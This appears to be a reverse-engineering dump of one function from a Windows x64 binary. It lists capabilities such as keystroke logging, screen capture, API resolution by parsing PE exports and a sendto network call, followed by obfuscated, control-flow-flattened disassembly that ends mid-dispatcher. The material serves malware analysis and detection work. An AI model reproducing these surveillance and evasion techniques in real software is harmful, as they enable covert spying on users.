Function at 0x140501a30
Capabilities:
Capture screenshot
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x458
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x3c0], xmm12
movaps xmmword [rbp + 0x3b0], xmm11
movaps xmmword [rbp + 0x3a0], xmm10
movaps xmmword [rbp + 0x390], xmm9
movapd xmmword [rbp + 0x380], xmm8
movaps xmmword [rbp + 0x370], xmm7
movaps xmmword [rbp + 0x360], xmm6
mov eax, dword [0x140b86d30]
mov ecx, dword [0x140b86d34]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1cf]
cmp ecx, 0xa
setl byte [rbp + 0x1ce]
lea r11, [rbp + 0x338]
xorps xmm9, xmm9
xorps xmm7, xmm7
xorpd xmm8, xmm8
movsd xmm12, qword [0x140707550]
movsd xmm10, qword [0x14071c150]
movsd xmm11, qword [0x14071c120]
mov dword [rbp + 0x10c], eax
mov dword [rbp + 0x108], eax
mov qword [rbp + 0x60], rax
mov eax, 0x10a296ce
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58a4dc0c
mov ecx, 0x12e090a7
nop word cs:[rax + rax]
cmove eax, ecx
cmp dword [0x140b86d34], 0xa
cmovl eax, ecx
cmp eax, 0x763d1c4
jle 0x140501ba0
cmp eax, 0x422f4dca
jle 0x140501c30
cmp eax, 0x610dde46
jle 0x140501d12
cmp eax, 0x6f690741
jle 0x140501f4a
cmp eax, 0x74ecebbc
jg 0x1405021d9
cmp eax, 0x7327f9f0
jle 0x140503f9e
cmp eax, 0x73f9dcb9
jle 0x14050646c
cmp eax, 0x74b8b555
jg 0x140507557
cmp eax, 0x73f9dcba
je 0x140507902
cmp eax, 0x74527389
jne 0x140501b1d
test byte [rbp + 0x2a4], 1
mov eax, 0x496fff9b
mov ecx, 0x38027c2e
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0xc1252b30
jg 0x140501cb0
cmp eax, 0xa40e9280
jle 0x140501d7d
cmp eax, 0xb2f84d25
jle 0x140501faa
cmp eax, 0xbbd8743f
jg 0x14050222e
cmp eax, 0xb8cbf078
jle 0x140503ff2
cmp eax, 0xba637ec4
jle 0x1405064e0
cmp eax, 0xba8d8cb6
jg 0x140507577
cmp eax, 0xba637ec5
je 0x140507920
cmp eax, 0xba7febdc
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0665e9c
mov ecx, 0x640feca0
jmp 0x140501b10
cmp eax, 0x259e96a0
jle 0x140501e00
cmp eax, 0x350e3069
jle 0x140501ff6
cmp eax, 0x3c2001a9
jg 0x140502280
cmp eax, 0x37edd90a
jle 0x140504028
cmp eax, 0x3ad5a2a1
jle 0x140506544
cmp eax, 0x3b0bfc63
jg 0x1405075c5
cmp eax, 0x3ad5a2a2
je 0x140507934
cmp eax, 0x3af6fbbd
jne 0x140501b1d
mov dword [rbp + 0xbc], 0
mov al, byte [rbp + 0x29b]
mov byte [rbp + 0x2aa], al
mov eax, 0x4799e9fa
jmp 0x140501b1d
cmp eax, 0xe64e5742
jle 0x140501ee5
cmp eax, 0xf6dba19c
jle 0x140502051
cmp eax, 0xfcb0333d
jg 0x1405022c1
cmp eax, 0xf835c1b4
jle 0x140504080
cmp eax, 0xf9fe2740
jle 0x140506590
cmp eax, 0xfa85e186
jg 0x1405075e9
cmp eax, 0xf9fe2741
je 0x140507967
cmp eax, 0xfa4f786e
jne 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
cmp eax, 0x535742f3
jle 0x14050209d
cmp eax, 0x5952f2d7
jg 0x140502302
cmp eax, 0x56e84b70
jle 0x1405040d4
cmp eax, 0x57d0a75f
jle 0x1405065ca
cmp eax, 0x585bf973
jg 0x14050761d
cmp eax, 0x57d0a760
je 0x140507a25
cmp eax, 0x5833b649
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x790ae7e5
mov ecx, 0x4d004062
jmp 0x140501b10
cmp eax, 0x942059d3
jg 0x1405020e9
cmp eax, 0x8a8f91a4
jle 0x140502357
cmp eax, 0x8e091fe3
jle 0x140505d2a
cmp eax, 0x9097e673
jle 0x1405065f5
cmp eax, 0x9149418f
jg 0x140507663
cmp eax, 0x9097e674
je 0x140507a3b
cmp eax, 0x90a41084
jne 0x140501b1d
mov al, byte [rbp + 0x2a6]
mov byte [rbp + 0x297], al
mov eax, dword [rbp + 0xb0]
mov dword [rbp + 0x84], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b1ce483
mov ecx, 0xb0801f83
jmp 0x140501b10
cmp eax, 0x15f57493
jg 0x140502135
cmp eax, 0xfdf2271
jle 0x1405023a9
cmp eax, 0x13758be2
jle 0x140505d75
cmp eax, 0x14de42eb
jle 0x14050662a
cmp eax, 0x150b5cd4
jg 0x140507697
cmp eax, 0x14de42ec
je 0x140507a59
cmp eax, 0x1500643c
jne 0x140501b1d
mov eax, dword [0x140b86d00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86d04], 0xa
setl cl
or cl, al
mov esi, 0x9d494a93
mov eax, 0xb72ca808
cmovne esi, eax
movss xmm0, dword [0x140b85038]
mov edi, 0x9d494a93
mov eax, 0xed03f61f
cmovne edi, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
nop
cmp eax, 0xed03f61e
jle 0x140501ec0
cmp eax, 0xed03f61f
je 0x140501ed3
cmp eax, 0x6742093e
je 0x140501ed7
cmp eax, 0x5bb003bf
jne 0x140501ea0
mov eax, edi
jmp 0x140501ea0
cmp eax, 0x9d494a93
je 0x140501ede
cmp eax, 0xb72ca808
jne 0x140501ea0
jmp 0x140507b1d
mov eax, esi
jmp 0x140501ea0
mov eax, 0x5bb003bf
jmp 0x140501ea0
mov eax, 0xed03f61f
jmp 0x140501ea0
cmp eax, 0xd074cb8e
jg 0x14050218d
cmp eax, 0xc89af084
jle 0x1405023ea
cmp eax, 0xcc16a9bc
jle 0x140505dc5
cmp eax, 0xcda81905
jle 0x14050665f
cmp eax, 0xcfe3bd2e
jg 0x1405076c6
cmp eax, 0xcda81906
je 0x140507ba5
cmp eax, 0xcec87dd1
jne 0x140501b1d
cmp byte [0x140b852da], 0
setne byte [rbp + 0x1c7]
mov eax, 0xa40afb38
jmp 0x140501b1d
cmp eax, 0x66644f97
jle 0x14050242b
cmp eax, 0x6a7419d3
jle 0x140505e3c
cmp eax, 0x6e3fdd30
jle 0x140506696
cmp eax, 0x6e7bfcad
jg 0x1405076e6
cmp eax, 0x6e3fdd31
je 0x140507bbe
cmp eax, 0x6e6a09af
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1ffd3f16
mov ecx, 0x5bf2c45b
jmp 0x140501b10
cmp eax, 0xacf97435
jle 0x140502472
cmp eax, 0xb0403516
jle 0x140505e9e
cmp eax, 0xb1276eaa
jle 0x1405066cb
cmp eax, 0xb21f7290
jg 0x140507710
cmp eax, 0xb1276eab
je 0x140507bdc
cmp eax, 0xb178a3db
jne 0x140501b1d
mov eax, 0xdc8525b0
jmp 0x140501b1d
cmp eax, 0x2f039976
jle 0x1405024c7
cmp eax, 0x332ee5ea
jle 0x140505ed4
cmp eax, 0x342a9d51
jle 0x1405066f6
cmp eax, 0x34e7fa7f
jg 0x140507730
cmp eax, 0x342a9d52
je 0x140507c08
cmp eax, 0x3444a64c
jne 0x140501b1d
test byte [rbp + 0x2a8], 1
mov eax, 0x1aff6d1d
mov ecx, 0x478ccb84
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0xeee329f4
jle 0x140503e2d
cmp eax, 0xf2ff5470
jle 0x140505f1e
cmp eax, 0xf416f9ce
jle 0x140506730
cmp eax, 0xf619818a
jg 0x140507764
cmp eax, 0xf416f9cf
je 0x140507c2a
cmp eax, 0xf4721e3f
jne 0x140501b1d
mov eax, 0x77d4fc8c
jmp 0x140501b1d
cmp eax, 0x496fff9a
jle 0x140503e6e
cmp eax, 0x4d004061
jle 0x140505f64
cmp eax, 0x50a4b4c5
jle 0x14050676f
cmp eax, 0x5289457d
jg 0x140507784
cmp eax, 0x50a4b4c6
je 0x140507c5c
cmp eax, 0x51dc27a0
jne 0x140501b1d
mov eax, 0xc660fb40
jmp 0x140501b1d
cmp eax, 0x9c4e1f93
jle 0x140503eaf
cmp eax, 0x9ff1ed8f
jle 0x140505fae
cmp eax, 0xa11fe625
jle 0x1405067bc
cmp eax, 0xa3d07946
jg 0x1405077b0
cmp eax, 0xa11fe626
je 0x140507c77
cmp eax, 0xa2da2501
jne 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
cmp eax, 0x1d476678
jle 0x140503efc
cmp eax, 0x20409a6f
jle 0x140505fe4
cmp eax, 0x2314caff
jle 0x1405067f1
cmp eax, 0x24051018
jg 0x1405077df
cmp eax, 0x2314cb00
je 0x140507c87
cmp eax, 0x2400233a
jne 0x140501b1d
mov eax, dword [rbp + 0x17c]
add eax, 1
mov dword [rbp + 8], eax
mov eax, 0x414935e8
jmp 0x140501b1d
cmp eax, 0xd9c724a7
jle 0x140503f5d
cmp eax, 0xe2346734
jle 0x140506038
cmp eax, 0xe435ed99
jle 0x140506830
cmp eax, 0xe5ca26bd
jg 0x140507806
cmp eax, 0xe435ed9a
je 0x140507ca5
cmp eax, 0xe536a9d1
jne 0x140501b1d
mov eax, 0xe654f20f
jmp 0x140501b1d
cmp eax, 0x790ae7e4
jle 0x140506078
cmp eax, 0x7b1ce482
jle 0x14050685c
cmp eax, 0x7cc6cb2e
jg 0x140507841
cmp eax, 0x7b1ce483
je 0x140507cbb
cmp eax, 0x7b95aaf2
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x634ef039
mov ecx, 0x73a81b32
jmp 0x140501b10
cmp eax, 0xbe753ff2
jle 0x1405060c2
cmp eax, 0xc00e1a4c
jle 0x140506935
cmp eax, 0xc0665e9b
jg 0x140507861
cmp eax, 0xc00e1a4d
je 0x140507ccb
cmp eax, 0xc03b07ed
jne 0x140501b1d
mov dword [rbp + 0xb0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x2a6], 1
mov eax, 0x90a41084
jmp 0x140501b1d
cmp eax, 0x3dcc9b8a
jle 0x1405060f8
cmp eax, 0x403d9422
jle 0x140506974
cmp eax, 0x414935e7
jg 0x140507892
cmp eax, 0x403d9423
je 0x140507ce3
cmp eax, 0x413c5d70
jne 0x140501b1d
mov eax, 0x970519df
jmp 0x140501b1d
cmp eax, 0x1a96d7b
jle 0x14050612e
cmp eax, 0x540c9c7
jle 0x14050699f
cmp eax, 0x587b25f
jg 0x1405078cd
cmp eax, 0x540c9c8
je 0x140507d01
cmp eax, 0x5461871
jne 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
cmp eax, 0x5ca4128b
jg 0x14050616e
cmp eax, 0x5a236835
jg 0x1405069ca
cmp eax, 0x59806ce9
jle 0x1405078ed
cmp eax, 0x59806cea
je 0x140507d0b
cmp eax, 0x59dc35c1
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4775c3b1
mov ecx, 0x614d2a8a
jmp 0x140501b10
cmp eax, 0x85d53f16
jg 0x1405061ae
cmp eax, 0x856affd8
jg 0x140506a1a
cmp eax, 0x82d8b3ab
je 0x140507d15
cmp eax, 0x82eafe90
je 0x140507d47
cmp eax, 0x8364f71c
jne 0x140501b1d
mov eax, dword [rbp + 0x1d8]
cmp eax, 5
mov eax, 0x672d0a45
mov ecx, 0x8d3a1571
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0xaaaf779
jg 0x1405061e4
cmp eax, 0x975a386
jg 0x140506a59
cmp eax, 0x763d1c5
je 0x140507d55
cmp eax, 0x866f5d2
je 0x140507d72
cmp eax, 0x9199bfd
jne 0x140501b1d
mov eax, 0xc1252b31
jmp 0x140501b1d
cmp eax, 0xc49f33d2
jg 0x140506220
cmp eax, 0xc2a6d621
jg 0x140506a92
cmp eax, 0xc1252b31
je 0x140507d97
cmp eax, 0xc1362774
je 0x140507dab
cmp eax, 0xc1e47f73
jne 0x140501b1d
mov eax, 0xbf9533fe
jmp 0x140501b1d
cmp eax, 0x640da4fe
jg 0x140506256
cmp eax, 0x634ef038
jg 0x140506ad1
cmp eax, 0x610dde47
je 0x140507db5
cmp eax, 0x614d2a8a
je 0x140507de4
cmp eax, 0x62e7adfb
jne 0x140501b1d
mov eax, dword [rbp + 0x90]
mov eax, 0xaf3a1269
jmp 0x140501b1d
cmp eax, 0xa707870d
jg 0x1405062b1
cmp eax, 0xa61f8b0f
jg 0x140506afc
cmp eax, 0xa40e9281
je 0x140507e02
cmp eax, 0xa444479d
je 0x140507e0c
cmp eax, 0xa4be08f3
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa00b6328
mov ecx, 0xf7767b3b
jmp 0x140501b10
cmp eax, 0x2a89c1f5
jg 0x1405062e7
cmp eax, 0x274448cc
jg 0x140506b3b
cmp eax, 0x259e96a1
je 0x140507e20
cmp eax, 0x2637ed4c
je 0x140507e36
cmp eax, 0x26dac028
jne 0x140501b1d
movzx r11d, byte [rbp + 0x1c6]
cmp r11d, 0x3d
setae r8b
mov rdx, qword [rbp + 0x38]
movzx ecx, byte [rdx + 1]
mov rdx, qword [rbp + 0x38]
movzx r13d, byte [rdx + 2]
cmp r13d, 0x69
setae r9b
cmp r13d, 0x6e
setae r10b
mov edi, dword [0x140b86d38]
mov esi, dword [0x140b86d3c]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
sete bl
sete byte [rbp + 0x327]
cmp esi, 0xa
setl byte [rbp + 0x326]
setl r15b
or r15b, bl
mov eax, r11d
sub eax, ecx
cmp eax, 0x3c
setge bl
and bl, r10b
mov byte [rbp + 0x1e4], bl
mov r14d, r13d
sub r14d, ecx
mov edi, r13d
sub edi, r11d
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x1e8], esi
lea esi, [rcx - 0xf1]
cmp esi, 0xe
setb dl
and dl, r8b
mov byte [rbp + 0x1ec], dl
mov rdx, rcx
add ecx, 0xffffffc3
mov dword [rbp + 0x1f0], ecx
mov dword [rbp + 0x128], eax
cmp eax, 0x32
setge al
and al, r9b
mov byte [rbp + 0x1f4], al
mov qword [rbp + 0x120], rdi
lea eax, [rdi + 0x21600fe9]
sub eax, 0x21600fe9
cmovb eax, ebx
mov dword [rbp + 0x1f8], eax
test r15b, r15b
mov eax, 0xb1c5674e
mov ecx, 0x8d845308
cmovne eax, ecx
mov dword [rbp + 0x1e0], eax
mov eax, 0xb1c5674e
mov ecx, 0x9ef1d789
cmovne eax, ecx
mov dword [rbp + 0x1fc], eax
mov eax, 0x11a435f8
mov ecx, 0xb94ead36
cmovne eax, ecx
mov dword [rbp + 0x200], eax
mov eax, 0x11a435f8
mov ecx, 0x499fa256
cmovne eax, ecx
mov dword [rbp + 0x204], eax
mov eax, 0x4b6a20f7
mov ecx, 0xb98bcaee
cmovne eax, ecx
mov dword [rbp + 0x2bc], eax
mov eax, 0x4b6a20f7
mov ecx, 0x969205f1
cmovne eax, ecx
mov dword [rbp + 0x2c0], eax
mov eax, 0x482aa3f8
mov ecx, 0xbd5e8e9d
cmovne eax, ecx
mov dword [rbp + 0x150], eax
mov eax, 0x482aa3f8
mov ecx, 0x495c313e
cmovne eax, ecx
mov dword [rbp + 0x2c4], eax
mov eax, 0x9c02b47a
mov ecx, 0x7344cfcc
cmovne eax, ecx
mov dword [rbp + 0x208], eax
mov eax, 0x9c02b47a
mov ecx, 0xb0beb3e4
cmovne eax, ecx
mov dword [rbp + 0x20c], eax
mov eax, 0x15767053
mov ecx, 0x297f9036
cmovne eax, ecx
mov dword [rbp + 0x210], eax
mov eax, 0x15767053
mov ecx, 0x2ad23082
cmovne eax, ecx
mov dword [rbp + 0x214], eax
mov eax, 0xf18c4a6a
mov ecx, 0x763ef902
cmovne eax, ecx
mov dword [rbp + 0x218], eax
mov eax, 0xf18c4a6a
mov ecx, 0x7b64d6ea
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
mov eax, 0xfb7d2618
mov ecx, 0x78eecf42
cmovne eax, ecx
mov dword [rbp + 0x188], eax
mov eax, 0xfb7d2618
mov ecx, 0xbd39f16e
cmovne eax, ecx
mov dword [rbp + 0x190], eax
mov eax, 0xb4b17505
mov ecx, 0xb1828316
cmovne eax, ecx
mov dword [rbp + 0x220], eax
mov eax, 0xb4b17505
mov ecx, 0x418cdd34
cmovne eax, ecx
mov dword [rbp + 0x198], eax
mov eax, 0x96bfffd
mov ecx, 0x140605b2
cmovne eax, ecx
mov dword [rbp + 0x2dc], eax
mov eax, 0x96bfffd
mov ecx, 0xe7ef058
cmovne eax, ecx
mov dword [rbp + 0x224], eax
mov eax, 0x95314845
mov ecx, 0x2e501a5b
cmovne eax, ecx
mov dword [rbp + 0x228], eax
mov eax, 0x95314845
mov ecx, 0x51bb9d1f
cmovne eax, ecx
mov dword [rbp + 0x1a8], eax
mov eax, 0x3f2f8547
mov ecx, 0x7a184854
cmovne eax, ecx
mov ebx, 0x3f2f8547
mov ecx, 0xb05c452f
cmovne ebx, ecx
mov dword [rbp + 0x1a0], ebx
mov ebx, 0x5a414769
mov ecx, 0x789407d4
cmovne ebx, ecx
mov dword [rbp + 0x168], ebx
mov ebx, 0x5a414769
mov ecx, 0xfc0f9c55
cmovne ebx, ecx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x1cdf725d
mov ecx, 0xb5fe692d
cmovne ebx, ecx
mov dword [rbp + 0x230], ebx
mov ebx, 0x1cdf725d
mov ecx, 0x354076fb
cmovne ebx, ecx
mov dword [rbp + 0x234], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x5a36ce4f
cmovne ebx, ecx
mov dword [rbp + 0x170], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x464e4f07
cmovne ebx, ecx
mov dword [rbp + 0x158], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xcd6a80a5
cmovne ebx, ecx
mov dword [rbp + 0x238], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xdd066470
cmovne ebx, ecx
mov dword [rbp + 0x160], ebx
mov ebx, 0xabe3e034
mov ecx, 0x2cda350e
cmovne ebx, ecx
mov dword [rbp + 0x23c], ebx
mov ebx, 0xabe3e034
mov ecx, 0xd3059b6f
cmovne ebx, ecx
mov dword [rbp + 0x240], ebx
mov ebx, 0xa3988b66
mov ecx, 0x23d604a4
cmovne ebx, ecx
mov dword [rbp + 0x244], ebx
mov ebx, 0xa3988b66
mov ecx, 0x31f6e81
cmovne ebx, ecx
mov dword [rbp + 0x248], ebx
mov ebx, 0x157c9d26
mov ecx, 0x5a530a53
cmovne ebx, ecx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x157c9d26
mov ecx, 0x31a09e96
cmovne ebx, ecx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xde8a5085
cmovne ebx, ecx
mov dword [rbp + 0x134], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xd38d4b5c
cmovne ebx, ecx
mov dword [rbp + 0x264], ebx
mov ebx, 0x267d1724
mov ecx, 0xba345fbc
cmovne ebx, ecx
mov dword [rbp + 0x138], ebx
mov ebx, 0x267d1724
mov ecx, 0xb7ee4958
cmovne ebx, ecx
mov dword [rbp + 0x13c], ebx
mov ebx, 0x57b3b530
mov ecx, 0x23a18588
cmovne ebx, ecx
mov dword [rbp + 0x140], ebx
mov ebx, 0x57b3b530
mov ecx, 0x5d8c7d4f
cmovne ebx, ecx
mov dword [rbp + 0x144], ebx
mov ebx, 0x680ab117
mov ecx, 0xb15b1a2e
cmovne ebx, ecx
mov dword [rbp + 0x148], ebx
mov ebx, 0x680ab117
mov ecx, 0x89b66e65
cmovne ebx, ecx
mov dword [rbp + 0x14c], ebx
mov ebx, 0xc560a85d
mov ecx, 0xc79ad12f
cmovne ebx, ecx
mov dword [rbp + 0xfc], ebx
mov dword [rbp + 0x2f8], ecx
mov dword [rbp + 0x2e4], ecx
mov ecx, 0xa73577fc
jmp 0x140502980
xor r8d, r8d
mov ecx, 0x9ef63166
nop word cs:[rax + rax]
nop
mov r12d, ecx
cmp ecx, 0xff0c2dfe
jg 0x140502a20
cmp r12d, 0xb98bcaed
jg 0x140502ab0
cmp r12d, 0xa82ebe36
jg 0x140502b9a
cmp r12d, 0x9a36c244
jle 0x140502d24
cmp r12d, 0xa0d53e63
jle 0x140502fcd
cmp r12d, 0xa4c5bbcc
jle 0x140503371
cmp r12d, 0xa4c5bbcd
je 0x140503971
mov ecx, dword [rbp + 0x1a8]
cmp r12d, 0xa61e6778
je 0x140502980
mov ecx, r12d
cmp r12d, 0xa73577fc
jne 0x140502980
movzx ebx, byte [rbp + 0x327]
cmp byte [rbp + 0x326], 0
mov ecx, 0xc560a85d
mov edi, 0x77da8017
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x140502980
cmp r12d, 0x3f2f8546
jg 0x140502b20
cmp r12d, 0x20103660
jg 0x140502c06
cmp r12d, 0x135fcc3a
jg 0x140502d79
cmp r12d, 0x96bfffc
jle 0x14050300f
cmp r12d, 0xe7ef057
jle 0x140503398
mov ecx, dword [rbp + 0x2dc]
cmp r12d, 0xe7ef058
je 0x140502980
mov ecx, dword [rbp + 0x264]
cmp r12d, 0x11825857
je 0x140502980
mov ecx, r12d
cmp r12d, 0x11a435f8
jne 0x140502980
mov ecx, 0x499fa256
jmp 0x140502980
cmp r12d, 0xe7809c39
jg 0x140502c61
cmp r12d, 0xd033cd79
jg 0x140502dcd
cmp r12d, 0xbdc64e87
jle 0x140503044
cmp r12d, 0xc79ad12e
jle 0x1405033c9
cmp r12d, 0xc79ad12f
je 0x140503988
mov ecx, dword [rbp + 0x158]
cmp r12d, 0xca8a3dae
je 0x140502980
mov ecx, r12d
cmp r12d, 0xcd6a80a5
jne 0x140502980
mov ecx, 0xca8a3dae
jmp 0x140502980
cmp r12d, 0x5d29121f
jg 0x140502cbd
cmp r12d, 0x4a0180ff
jg 0x140502e1c
cmp r12d, 0x464e4f06
jle 0x140503078
cmp r12d, 0x48c9fc5e
jle 0x1405033f0
cmp r12d, 0x48c9fc5f
je 0x140503992
mov ecx, dword [rbp + 0x150]
cmp r12d, 0x495c313e
je 0x140502980
mov ecx, r12d
cmp r12d, 0x499fa256
jne 0x140502980
cmp r11b, 0x64
setae byte [rbp + 0x310]
mov ecx, dword [rbp + 0x200]
jmp 0x140502980
cmp r12d, 0xb1828315
jg 0x140502e76
cmp r12d, 0xaebd2ec9
jle 0x1405030ad
cmp r12d, 0xb05c452e
jle 0x14050341d
mov ecx, eax
cmp r12d, 0xb05c452f
je 0x140502980
cmp r12d, 0xb0beb3e4
je 0x1405039b2
mov ecx, r12d
cmp r12d, 0xb15b1a2e
jne 0x140502980
cmp byte [rbp + 0x325], 0
mov ecx, 0x2798cef7
mov edi, 0xf301ab8e
cmovne ecx, edi
jmp 0x140502980
cmp r12d, 0x2d4b429c
jg 0x140502ec4
cmp r12d, 0x267d1723
jle 0x1405030e1
cmp r12d, 0x297f9035
jle 0x140503445
cmp r12d, 0x297f9036
je 0x1405039d4
cmp r12d, 0x2ad23082
je 0x1405039de
mov ecx, r12d
cmp r12d, 0x2cda350e
jne 0x140502980
mov ecx, 0x3577c1f2
jmp 0x140502980
cmp r12d, 0xef53f9e5
jg 0x140502f27
cmp r12d, 0xe9dbd22d
jle 0x140503120
cmp r12d, 0xead3e303
jle 0x14050346d
cmp r12d, 0xead3e304
je 0x14050296c
cmp r12d, 0xeaeb4fd4
je 0x1405039f6
mov ecx, r12d
cmp r12d, 0xece27445
jne 0x140502980
mov ecx, dword [rbp + 0x234]
jmp 0x140502980
cmp r12d, 0x751c860d
jg 0x140502f7e
cmp r12d, 0x6c56cc28
jle 0x140503155
cmp r12d, 0x709a45ba
jle 0x14050349b
cmp r12d, 0x709a45bb
je 0x140503a07
cmp r12d, 0x70a3a0c7
je 0x140503a1b
mov ecx, r12d
cmp r12d, 0x7344cfcc
jne 0x140502980
cmp byte [rbp + 0x280], 0
mov ecx, 0xff0c2dff
mov ebx, 0x22128fff
jmp 0x140503b3c
cmp r12d, 0x8d845307
jle 0x14050318a
cmp r12d, 0x95314844
jle 0x1405034c3
cmp r12d, 0x95314845
je 0x140503a30
mov ecx, dword [rbp + 0x2bc]
cmp r12d, 0x969205f1
je 0x140502980
mov ecx, r12d
cmp r12d, 0x99deb36c
jne 0x140502980
mov ecx, dword [rbp + 0x224]
jmp 0x140502980
cmp r12d, 0x15767052
jle 0x1405031d0
cmp r12d, 0x1a7bb6b2
jle 0x1405034ed
cmp r12d, 0x1a7bb6b3
je 0x140503a3a
cmp r12d, 0x1cdf725d
je 0x140503a53
mov ecx, r12d
cmp r12d, 0x1faaa5f6
jne 0x140502980
mov ecx, dword [rbp + 0x328]
mov ecx, 0xd38d4b5c
jmp 0x140502980
cmp r12d, 0xd5b57953
jle 0x140503219
cmp r12d, 0xdd06646f
jle 0x14050351a
cmp r12d, 0xdd066470
je 0x140503a5d
cmp r12d, 0xde8a5085
je 0x140503a6f
mov ecx, r12d
cmp r12d, 0xe335676c
jne 0x140502980
mov ecx, dword [rbp + 0x1fc]
jmp 0x140502980
cmp r12d, 0x57b3b52f
jle 0x140503258
cmp r12d, 0x5a36ce4e
jle 0x140503554
cmp r12d, 0x5a36ce4f
je 0x140503a8a
cmp r12d, 0x5a414769
je 0x140503aa3
mov ecx, r12d
cmp r12d, 0x5a530a53
jne 0x140502980
cmp byte [rbp + 0x31f], 0
mov ecx, 0x576b74ae
mov edi, 0xd1dca56c
jmp 0x140503736
cmp r12d, 0xb4b17504
jle 0x140503292
cmp r12d, 0xb6fd862c
jle 0x14050357c
cmp r12d, 0xb6fd862d
je 0x140503aad
cmp r12d, 0xb7ee4958
je 0x140503ab7
mov ecx, r12d
cmp r12d, 0xb94ead36
jne 0x140502980
mov ecx, 0x20103661
jmp 0x140502980
cmp r12d, 0x34249237
jle 0x1405032c7
cmp r12d, 0x3577c1f1
jle 0x1405035b0
cmp r12d, 0x3577c1f2
je 0x140503ace
mov ecx, dword [rbp + 0x2c0]
cmp r12d, 0x39498194
je 0x140502980
mov ecx, r12d
cmp r12d, 0x39b2a750
jne 0x140502980
cmp byte [rbp + 0x323], 0
mov ecx, 0xef53f9e6
mov edi, 0xb18758be
cmovne ecx, edi
jmp 0x140502980
cmp r12d, 0xf3c53d86
jle 0x140503301
cmp r12d, 0xfb7d2617
jle 0x1405035d8
cmp r12d, 0xfb7d2618
je 0x140503ae7
mov ecx, dword [rbp + 0x168]
cmp r12d, 0xfc0f9c55
je 0x140502980
mov ecx, r12d
cmp r12d, 0xfe617dad
jne 0x140502980
xor r8d, r8d
mov ecx, 0x9ef63166
jmp 0x140502980
cmp r12d, 0x789407d3
jle 0x140503335
cmp r12d, 0x78eecf41
jle 0x140503606
cmp r12d, 0x78eecf42
je 0x140503af1
cmp r12d, 0x7a184854
je 0x14050296c
mov ecx, r12d
cmp r12d, 0x7b64d6ea
jne 0x140502980
mov ecx, dword [rbp + 0x218]
jmp 0x140502980
cmp r12d, 0x9d594587
jle 0x14050362e
cmp r12d, 0x9d594588
je 0x140503b0d
mov ecx, dword [rbp + 0x1e0]
cmp r12d, 0x9ef1d789
je 0x140502980
mov ecx, r12d
cmp r12d, 0x9ef63166
je 0x140507e40
jmp 0x140502980
cmp r12d, 0x30c0ef1
jg 0x14050365b
cmp r12d, 0xff0c2dff
je 0x140503b1e
mov ecx, r12d
cmp r12d, 0x90eefd
jne 0x140502980
mov ecx, dword [rbp + 0x14c]
jmp 0x140502980
cmp r12d, 0xbd39f16d
jg 0x14050369c
cmp r12d, 0xb98bcaee
je 0x140503b2b
mov ecx, r12d
cmp r12d, 0xba345fbc
jne 0x140502980
mov ecx, 0x11825857
jmp 0x140502980
cmp r12d, 0x418cdd33
jg 0x1405036d5
cmp r12d, 0x3f2f8547
je 0x140503b47
mov ecx, r12d
cmp r12d, 0x3ff59037
jne 0x140502980
mov ecx, dword [rbp + 0x22c]
jmp 0x140502980
cmp r12d, 0xac78743a
jg 0x140503708
cmp r12d, 0xa82ebe37
je 0x140503b51
mov ecx, r12d
cmp r12d, 0xabe3e034
jne 0x140502980
mov ecx, 0xd3059b6f
jmp 0x140502980
cmp r12d, 0x23a18587
jg 0x140503741
cmp r12d, 0x20103661
je 0x140503b67
mov ecx, r12d
cmp r12d, 0x22128fff
jne 0x140502980
cmp r14d, 0x5a
setge byte [rbp + 0x278]
mov ecx, 0x135fcc3b
jmp 0x140502980
cmp r12d, 0xe83f3e86
jg 0x140503768
cmp r12d, 0xe7809c3a
je 0x140503b79
mov ecx, r12d
cmp r12d, 0xe7d3c6de
jne 0x140502980
mov ecx, dword [rbp + 0x144]
jmp 0x140502980
cmp r12d, 0x5f31b9d3
jg 0x1405037a8
cmp r12d, 0x5d291220
je 0x140503b86
mov ecx, r12d
cmp r12d, 0x5d8c7d4f
jne 0x140502980
